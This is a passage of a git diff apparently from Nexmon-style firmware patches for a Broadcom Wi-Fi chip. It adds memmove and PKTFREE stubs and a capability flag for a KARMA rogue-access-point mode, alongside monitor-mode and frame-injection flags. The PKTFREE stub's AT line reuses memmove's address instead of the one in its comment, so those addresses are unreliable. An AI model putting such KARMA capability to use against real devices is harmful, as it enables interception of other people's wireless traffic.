@0x008377f4 (wlc_ap_doiovar) + +//0x00803acc memmove (untested) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x803acc) +void *memmove(void *dst, void *src, int len) +RETURN_DUMMY + +//0x00880e60 PKTFREE +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x803acc) +void PKTFREE(void *osh, void* p, int send) +VOID_DUMMY + #undef VOID_DUMMY #undef RETURN_DUMMY #undef AT diff --git a/patches/include/capabilities.h b/patches/include/capabilities.h index 3d791f985..caa04585f 100644 --- a/patches/include/capabilities.h +++ b/patches/include/capabilities.h @@ -39,3 +39,4 @@ extern int capabilities; #define NEX_CAP_MONITOR_MODE (1 << 0) #define NEX_CAP_MONITOR_MODE_RADIOTAP (1 << 1) #define NEX_CAP_FRAME_INJECTION (1 << 2) +#define NEX_CAP_MAME82_KARMA (1 << 7)